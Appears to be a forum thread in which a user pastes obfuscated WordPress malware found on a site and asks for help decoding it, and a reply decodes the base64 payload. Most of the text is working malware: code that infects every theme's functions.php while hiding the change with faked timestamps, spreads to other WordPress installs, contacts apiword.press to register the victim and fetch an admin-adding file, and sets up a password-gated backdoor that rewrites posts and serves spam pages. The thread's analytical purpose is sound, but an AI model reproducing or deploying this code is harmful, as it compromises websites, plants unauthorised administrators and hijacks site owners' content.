cmVnX3JlcGxhY2UoJyE8XD9waHBccypcPz4hcycsICcnLCAkZmlsZSk7DQoJCQlAZmlsZV9​wdXRfY29udGVudHMoX19GSUxFX18sICRmaWxlKTsNCgkJfQ0KDQovL2luc3RhbGxfY29kZV9lbmQNCg0​KPz48P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7Pz4=';

$GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media',    'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');

$GLOBALS['DIR_ARRAY'] = Array();
$dirs = Array();

$search = Array(
    Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
);

function getDirList($path)
    {
        if ($dir = @opendir($path))
            {
                $result = Array();
                
                while (($filename = @readdir($dir)) !== false)
                    {
                        if ($filename != '.' and& $filename != '..' and& is_dir($path . '/' . $filename))
                            $result[] = $path . '/' . $filename;
                    }
                
                return $result;
            }
            
        return false;
    }

function WP_URL_CD($path)
    {
        if ( ($file = file_get_contents($path . '/wp-includes/post.php')) and& (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
            {
                if (strpos($file, 'wp-cd') === false) {
                    $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
                    file_put_contents($path . '/wp-includes/post.php', $file);
                }
            }
    }
    
function SearchFile($search, $path)
    {
        if ($dir = @opendir($path))
            {
                $i = 0;
                while (($filename = @readdir($dir)) !== false)
                    {
                        if ($i > MAX_ITERATION) break;
                        $i++;
                        if ($filename != '.' and& $filename != '..')
                            {
                                if (is_dir($path . '/' . $filename) and& !in_array($filename, $GLOBALS['stopkey']))
                                    {
                                        SearchFile($search, $path . '/' . $filename);
                                    }
                                else
                                    {
                                        foreach ($search as $_)
                                            {
                                                if (strtolower($filename) == strtolower($_['file']))
                                                    {
                                                        $GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
                                                    }
                                            }
                                    }
                            }
                    }
            }
    }

if (is_admin() and& (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin']))) ) {

    if (isset($_GET['plugin']))
        {
            global $wpdb ;
        }
        
    $install_code = 'PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3B​hc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7Cgk​Jc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzs​KCQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0​+cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF9​0eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQk​JewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJlZ19tYXRjaCg​nITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAkZGF0YVsncG9zdF9jb250ZW50J10​sICRfKSkKCQkJCQkJCQl7CgkJCQkJCQkJCSRkYXRhWydjb2RlJ10gPSAkX1sxXTsKCQkJCQkJCQl9Cgk​JCQkJCQkKCQkJCQkJCXByaW50ICc8ZT48dz4xPC93Pjx1cmw+JyAuICRkYXRhWydndWlkJ10gLiAnPC9​1cmw+PGNvZGU+JyAuICRkYXRhWydjb2RlJ10gLiAnPC9jb2RlPjxpZD4nIC4gJGRhdGFbJ0lEJ10gLiA​nPC9pZD48L2U+JyAuICJcclxuIjsKCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgJ3NldF9​pZF9saW5rcyc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnZGF0YSddKSkKCQkJCQkJewoJCQkJCQk​JJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgYHBvc3RfY29udGVudGAgRlJPTSBgJyAuICR​3cGRiLT5wcmVmaXggLiAncG9zdHNgIFdIRVJFIGBJRGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCR​fUkVRVUVTVFsnaWQnXSkuJyInKTsKCQkJCQkJCQoJCQkJCQkJJHBvc3RfY29udGVudCA9IHByZWdfcmV​wbGFjZSgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAnJywgJGRhdGEgLT4gcG9​zdF9jb250ZW50KTsKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWydkYXRhJ10pKSAkcG9zdF9jb25​0ZW50ID0gJHBvc3RfY29udGVudCAuICc8ZGl2IGlkPSJ3cF9jZF9jb2RlIj4nIC4gc3RyaXBjc2xhc2h​lcygkX1JFUVVFU1RbJ2RhdGEnXSkgLiAnPC9kaXY+JzsKCgkJCQkJCQlpZiAoJHdwZGItPnF1ZXJ5KCd​VUERBVEUgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBTRVQgYHBvc3RfY29udGVudGAgPSAiJyA​uIG15c3FsX2VzY2FwZV9zdHJpbmcoJHBvc3RfY29udGVudCkgLiAnIiBXSEVSRSBgSURgID0gIicgLiB​teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkgLiAnIicpICE9PSBmYWxzZSkKCQkJCQk​JCQl7CgkJCQkJCQkJCXByaW50ICJ0cnVlIjsKCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoJCQk​JCgkJCQljYXNlICdjcmVhdGVfcGFnZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsncmVtb3ZlX3B​hZ2UnXSkpCgkJCQkJCXsKCQkJCQkJCWlmICgkd3BkYiAtPiBxdWVyeSgnREVMRVRFIEZST00gYCcgLiA​kd3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCBXSEVSRSBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3R​yaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciJykpCgkJCQkJCQkJewoJCQkJCQkJCQlwcmludCAidHJ1ZSI​7CgkJCQkJCQkJfQoJCQkJCQl9CgkJCQkJZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ2NvbnRlbnQnXSk​gJiYgIWVtcHR5KCRfUkVRVUVTVFsnY29udGVudCddKSkKCQkJCQkJewoJCQkJCQkJaWYgKCR3cGRiIC0​+IHF1ZXJ5KCdJTlNFUlQgSU5UTyBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFNFVCBgdXJ​sYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciLCBgdGl0bGVgID0​gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ3RpdGxlJ10pLiciLCBga2V5d29yZHNgID0​gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2tleXdvcmRzJ10pLiciLCBgZGVzY3JpcHR​pb25gID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Rlc2NyaXB0aW9uJ10pLiciLCB​gY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnY29udGVudCddKS4nIiw​gYGZ1bGxfY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZnVsbF9jb25​0ZW50J10pLiciIE9OIERVUExJQ0FURSBLRVkgVVBEQVRFIGB0aXRsZWAgPSAiJy5teXNxbF9lc2NhcGV​fc3RyaW5nKCRfUkVRVUVTVFsndGl0bGUnXSkuJyIsIGBrZXl3b3Jkc2AgPSAiJy5teXNxbF9lc2NhcGV​fc3RyaW5nKCRfUkVRVUVTVFsna2V5d29yZHMnXSkuJyIsIGBkZXNjcmlwdGlvbmAgPSAiJy5teXNxbF9​lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZGVzY3JpcHRpb24nXSkuJyIsIGBjb250ZW50YCA9ICInLm1​5c3FsX2VzY2FwZV9zdHJpbmcodXJsZGVjb2RlKCRfUkVRVUVTVFsnY29udGVudCddKSkuJyIsIGBmdWx​sX2NvbnRlbnRgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Z1bGxfY29udGVudCd​dKS4nIicpKQoJCQkJCQkJCXsKCQkJCQkJCQkJcHJpbnQgInRydWUiOwoJCQkJCQkJCX0KCQkJCQkJfQo​JCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVVJMX0N​EIjsKCQkJfQoJCQkKCQlkaWUoIiIpOwoJfQoKCQppZiAoICR3cGRiLT5nZXRfdmFyKCdTRUxFQ1QgY29​1bnQoKikgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFdIRVJFIGB1cmxgID0gIic​ubXlzcWxfZXNjYXBlX3N0cmluZyggJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gKS4nIicpID09ICcxJyA​pCgl7CgkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHdwZGItPnB​yZWZpeCAuICdkYXRhbGlzdGAgV0hFUkUgYHVybGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfU0V​SVkVSWydSRVFVRVNUX1VSSSddKS4nIicpOwoJCWlmICgkZGF0YSAtPiBmdWxsX2NvbnRlbnQpCgkJCXs​KCQkJCXByaW50IHN0cmlwc2xhc2hlcygkZGF0YSAtPiBjb250ZW50KTsKCQkJfQoJCWVsc2UKCQkJewo​JCQkJcHJpbnQgJzwhRE9DVFlQRSBodG1sPic7CgkJCQlwcmludCAnPGh0bWwgJzsKCQkJCWxhbmd1YWd​lX2F0dHJpYnV0ZXMoKTsKCQkJCXByaW50ICcgY2xhc3M9Im5vLWpzIj4nOwoJCQkJcHJpbnQgJzxoZWF​kPic7CgkJCQlwcmludCAnPHRpdGxlPicuc3RyaXBzbGFzaGVzKCRkYXRhIC0+IHRpdGxlKS4nPC90aXR​sZT4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IktleXdvcmRzIiBjb250ZW50PSInLnN0cmlwc2xhc2h​lcygkZGF0YSAtPiBrZXl3b3JkcykuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IkRlc2NyaXB​0aW9uIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBkZXNjcmlwdGlvbikuJyIgLz4nOwo​JCQkJcHJpbnQgJzxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIGZvbGxvdyIgLz4nOwo​JCQkJcHJpbnQgJzxtZXRhIGNoYXJzZXQ9Iic7CgkJCQlibG9naW5mbyggJ2NoYXJzZXQnICk7CgkJCQl​wcmludCAnIiAvPic7CgkJCQlwcmludCAnPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHR​oPWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA​6Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0​iJzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2h​lYWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzx​kaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXN​oZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmF​yKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';
    
    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    
    if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
        {
            $themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
                
            $ping = true;
                
            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
                                        
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_URL_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }
                                        
                                }
                        }
                        
                    if ($ping) {
                        $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                        @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
                    }
                }
        }
        
    for ($i = 0; $i<MAX_LEVEL; $i++)
        {
            $dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
        }
            
    foreach ($dirs as $dir)
        {
            foreach (@getDirList($dir) as $__)
                {
                    @SearchFile($search, $__);
                }
        }
        
    foreach ($GLOBALS['DIR_ARRAY'] as $e)
        {
            if ($file = file_get_contents($e[1]))
                {
                    if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt))
                        {
                            if ($salt[1] != AUTH_SALT)
                                {
                                    WP_URL_CD(dirname($e[1]));
                                }
                        }
                }
        }
        
    if ($file = @file_get_contents(__FILE__))
        {
            $file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
            $file = preg_replace('!<\?php\s*\?>!s', '', $file);
            @file_put_contents(__FILE__, $file);
        }
        
}

//install_code_end

?><?php error_reporting(0);?>

I tried to decrypt it, but no luck. Would love to see what's behind the obfuscated parts. Please post your findings back to this thread is you can figure this out! :)

This code installs a script that rewrites your posts to whatever the hacker wants. This code decrypted: PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bh​c3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7CgkJ​c3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzsK​CQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0+​cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF90​eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQkJ​ewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJlZ19tYXRjaCgn​ITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAkZGF0YVsncG9zdF9jb250ZW50J10s​ICRfKSkKCQkJCQkJCQl7CgkJCQkJCQkJCSRkYXRhWydjb2RlJ10gPSAkX1sxXTsKCQkJCQkJCQl9CgkJ​CQkJCQkKCQkJCQkJCXByaW50ICc8ZT48dz4xPC93Pjx1cmw+JyAuICRkYXRhWydndWlkJ10gLiAnPC91​cmw+PGNvZGU+JyAuICRkYXRhWydjb2RlJ10gLiAnPC9jb2RlPjxpZD4nIC4gJGRhdGFbJ0lEJ10gLiAn​PC9pZD48L2U+JyAuICJcclxuIjsKCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgJ3NldF9p​ZF9saW5rcyc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnZGF0YSddKSkKCQkJCQkJewoJCQkJCQkJ​JGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgYHBvc3RfY29udGVudGAgRlJPTSBgJyAuICR3​cGRiLT5wcmVmaXggLiAncG9zdHNgIFdIRVJFIGBJRGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRf​UkVRVUVTVFsnaWQnXSkuJyInKTsKCQkJCQkJCQoJCQkJCQkJJHBvc3RfY29udGVudCA9IHByZWdfcmVw​bGFjZSgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAnJywgJGRhdGEgLT4gcG9z​dF9jb250ZW50KTsKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWydkYXRhJ10pKSAkcG9zdF9jb250​ZW50ID0gJHBvc3RfY29udGVudCAuICc8ZGl2IGlkPSJ3cF9jZF9jb2RlIj4nIC4gc3RyaXBjc2xhc2hl​cygkX1JFUVVFU1RbJ2RhdGEnXSkgLiAnPC9kaXY+JzsKCgkJCQkJCQlpZiAoJHdwZGItPnF1ZXJ5KCdV​UERBVEUgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBTRVQgYHBvc3RfY29udGVudGAgPSAiJyAu​IG15c3FsX2VzY2FwZV9zdHJpbmcoJHBvc3RfY29udGVudCkgLiAnIiBXSEVSRSBgSURgID0gIicgLiBt​eXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkgLiAnIicpICE9PSBmYWxzZSkKCQkJCQkJ​CQl7CgkJCQkJCQkJCXByaW50ICJ0cnVlIjsKCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoJCQkJ​CgkJCQljYXNlICdjcmVhdGVfcGFnZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsncmVtb3ZlX3Bh​Z2UnXSkpCgkJCQkJCXsKCQkJCQkJCWlmICgkd3BkYiAtPiBxdWVyeSgnREVMRVRFIEZST00gYCcgLiAk​d3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCBXSEVSRSBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3Ry​aW5nKCRfUkVRVUVTVFsndXJsJ10pLiciJykpCgkJCQkJCQkJewoJCQkJCQkJCQlwcmludCAidHJ1ZSI7​CgkJCQkJCQkJfQoJCQkJCQl9CgkJCQkJZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ2NvbnRlbnQnXSkg​JiYgIWVtcHR5KCRfUkVRVUVTVFsnY29udGVudCddKSkKCQkJCQkJewoJCQkJCQkJaWYgKCR3cGRiIC0+​IHF1ZXJ5KCdJTlNFUlQgSU5UTyBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFNFVCBgdXJs​YCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciLCBgdGl0bGVgID0g​IicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ3RpdGxlJ10pLiciLCBga2V5d29yZHNgID0g​IicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2tleXdvcmRzJ10pLiciLCBgZGVzY3JpcHRp​b25gID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Rlc2NyaXB0aW9uJ10pLiciLCBg​Y29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnY29udGVudCddKS4nIiwg​YGZ1bGxfY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZnVsbF9jb250​ZW50J10pLiciIE9OIERVUExJQ0FURSBLRVkgVVBEQVRFIGB0aXRsZWAgPSAiJy5teXNxbF9lc2NhcGVf​c3RyaW5nKCRfUkVRVUVTVFsndGl0bGUnXSkuJyIsIGBrZXl3b3Jkc2AgPSAiJy5teXNxbF9lc2NhcGVf​c3RyaW5nKCRfUkVRVUVTVFsna2V5d29yZHMnXSkuJyIsIGBkZXNjcmlwdGlvbmAgPSAiJy5teXNxbF9l​c2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZGVzY3JpcHRpb24nXSkuJyIsIGBjb250ZW50YCA9ICInLm15​c3FsX2VzY2FwZV9zdHJpbmcodXJsZGVjb2RlKCRfUkVRVUVTVFsnY29udGVudCddKSkuJyIsIGBmdWxs​X2NvbnRlbnRgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Z1bGxfY29udGVudCdd​KS4nIicpKQoJCQkJCQkJCXsKCQkJCQkJCQkJcHJpbnQgInRydWUiOwoJCQkJCQkJCX0KCQkJCQkJfQoJ​CQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVVJMX0NE​IjsKCQkJfQoJCQkKCQlkaWUoIiIpOwoJfQoKCQppZiAoICR3cGRiLT5nZXRfdmFyKCdTRUxFQ1QgY291​bnQoKikgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFdIRVJFIGB1cmxgID0gIicu​bXlzcWxfZXNjYXBlX3N0cmluZyggJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gKS4nIicpID09ICcxJyAp​Cgl7CgkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHdwZGItPnBy​ZWZpeCAuICdkYXRhbGlzdGAgV0hFUkUgYHVybGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfU0VS​VkVSWydSRVFVRVNUX1VSSSddKS4nIicpOwoJCWlmICgkZGF0YSAtPiBmdWxsX2NvbnRlbnQpCgkJCXsK​CQkJCXByaW50IHN0cmlwc2xhc2hlcygkZGF0YSAtPiBjb250ZW50KTsKCQkJfQoJCWVsc2UKCQkJewoJ​CQkJcHJpbnQgJzwhRE9DVFlQRSBodG1sPic7CgkJCQlwcmludCAnPGh0bWwgJzsKCQkJCWxhbmd1YWdl​X2F0dHJpYnV0ZXMoKTsKCQkJCXByaW50ICcgY2xhc3M9Im5vLWpzIj4nOwoJCQkJcHJpbnQgJzxoZWFk​Pic7CgkJCQlwcmludCAnPHRpdGxlPicuc3RyaXBzbGFzaGVzKCRkYXRhIC0+IHRpdGxlKS4nPC90aXRs​ZT4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IktleXdvcmRzIiBjb250ZW50PSInLnN0cmlwc2xhc2hl​cygkZGF0YSAtPiBrZXl3b3JkcykuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IkRlc2NyaXB0​aW9uIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBkZXNjcmlwdGlvbikuJyIgLz4nOwoJ​CQkJcHJpbnQgJzxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIGZvbGxvdyIgLz4nOwoJ​CQkJcHJpbnQgJzxtZXRhIGNoYXJzZXQ9Iic7CgkJCQlibG9naW5mbyggJ2NoYXJzZXQnICk7CgkJCQlw​cmludCAnIiAvPic7CgkJCQlwcmludCAnPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRo​PWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA6​Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0i​JzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2hl​YWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzxk​aXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXNo​ZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmFy​KCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==

Is this:
<?php

if (isset($_REQUEST['action']) and& isset($_REQUEST['password']) and& ($_REQUEST['password'] == '{$PASSWORD}'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';

if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}

print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
break;

case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');

$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
{
print "true";
}
}
break;

case 'create_page';
if (isset($_REQUEST['remove_page']))
{
if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
{
print "true";
}
}
elseif (isset($_REQUEST['content']) and& !empty($_REQUEST['content']))
{
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
{
print "true";
}
}
break;

default: print "ERROR_WP_ACTION WP_URL_CD";
}

die("");
}


if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
{
$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
if ($data -> full_content)
{
print stripslashes($data -> content);
}
else
{
print '<!DOCTYPE html>';
print '<html ';
language_attributes();
print ' class="no-js">';
print '<head>';
print '<title>'.stripslashes($data -> title).'</title>';
print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
print '<meta name="robots" content="index, follow" />';
print '<meta charset="';
bloginfo( 'charset' );
print '" />';
print '<meta name="viewport" content="width=device-width">';
